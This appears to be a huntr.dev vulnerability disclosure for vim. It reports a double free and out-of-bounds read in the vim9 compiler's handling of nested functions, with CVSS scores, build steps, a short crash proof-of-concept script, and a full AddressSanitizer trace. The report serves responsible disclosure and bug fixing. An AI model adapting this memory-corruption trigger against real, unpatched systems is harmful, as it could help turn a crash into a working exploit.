Lucene search

K
huntrRickdejagerA1B236B9-89FB-4CCF-9689-BA11B471E766
HistoryDec 25, 2021 - 10:47 a.m.

None in vim/vim

2021-12-2510:47:27
rickdejager
www.huntr.dev
6

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

40.3%

Description

intro

While fuzzing, I found an edge case in the vim9 compiler for nested functions. It seems like you can make the compiler use the same line twice, by adding another command directly after an enddef token using the | operator. Depending on the inner functions body, this either results in an out of bounds read, or a double free.

Version information

Patch level: Included patches: 1-3890
Git commit:  d787e40fdbe6f4d8bf47d36186c1d9d51c29b853
Build commands:
  - stock:
       make distclean
       ./configure --with-features=huge --enable-gui=none
       make -j 4

  - asan:
       make distclean
       export SANITIZER_CFLAGS="-g -O1 -DABORT_ON_INTERNAL_ERROR -DEXITFREE -fsanitize=address -fno-omit-frame-pointer"
       export ASAN_OPTIONS="print_stacktrace=1 log_path=asan"
       ./configure --with-features=huge --enable-gui=none
       make -j 4

Proof of Concept

Save the following file as poc:

# Define an outer function
def FirstFunction()
  # Define an inner function
  def SecondFunction()
    # If the function has a body,
    # a double free is detected.
    # 
    # Commenting out the next line
    # turns this crash into a UAF
    # (READ of size 14 in reserve_local.c)
    AAAAA

   # enddef followed by | or } followed by
   # one or more characters, essentially
   # starting a new command on the same line
   # as the enddef.
   enddef|BBBB
enddef

# Compile all functions
defcompile

Next, run vim with the following command:

vim -u NONE -X -Z -e -s -S poc -c :qa!

This should cause a double free:

~$ ./vim -u NONE -X -Z -e -s -S poc -c :qa!
free(): double free detected in tcache 2
Aborted (core dumped)

Asan log

=================================================================
==15231==ERROR: AddressSanitizer: attempting double-free on 0x603000000df0 in thread T0:
    #0 0x7efd454bd7cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
    #1 0x55e6c83b7cb8 in vim_free /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:619
    #2 0x55e6c8865a9f in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:3167
    #3 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #4 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #5 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #6 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #7 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #8 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #9 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #10 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #11 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #12 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #13 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #14 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #15 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #16 0x55e6c83b770d in _start (/home/rick/randomStuff/fuzzing/vim-fuzzing/pocs/asan_vim+0x12e70d)

0x603000000df0 is located 0 bytes inside of 23-byte region [0x603000000df0,0x603000000e07)
freed by thread T0 here:
    #0 0x7efd454bd7cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
    #1 0x55e6c83b7cb8 in vim_free /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:619
    #2 0x55e6c883a37d in get_function_body /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:842
    #3 0x55e6c8842d73 in define_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4371
    #4 0x55e6c8866f4d in compile_nested_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:869
    #5 0x55e6c8866f4d in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:2857
    #6 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #7 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #8 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #9 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #10 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #11 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #12 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #13 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #14 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #15 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #16 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #17 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #18 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

previously allocated by thread T0 here:
    #0 0x7efd454bdbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x55e6c83b79ba in lalloc /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:244
    #2 0x55e6c83b7a87 in alloc /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:151
    #3 0x55e6c879470c in vim_strsave /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/strings.c:27
    #4 0x55e6c8864f4b in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:2612
    #5 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #6 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #7 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #8 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #9 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #10 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #11 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #12 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #13 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #14 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #15 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #16 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #17 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: double-free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf) in __interceptor_free
==15231==ABORTING

Impact

Use after free’s / double free’s can cause in memory corruption, that can cause a crash or other undefined (potentially exploitable) behaviour.

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

40.3%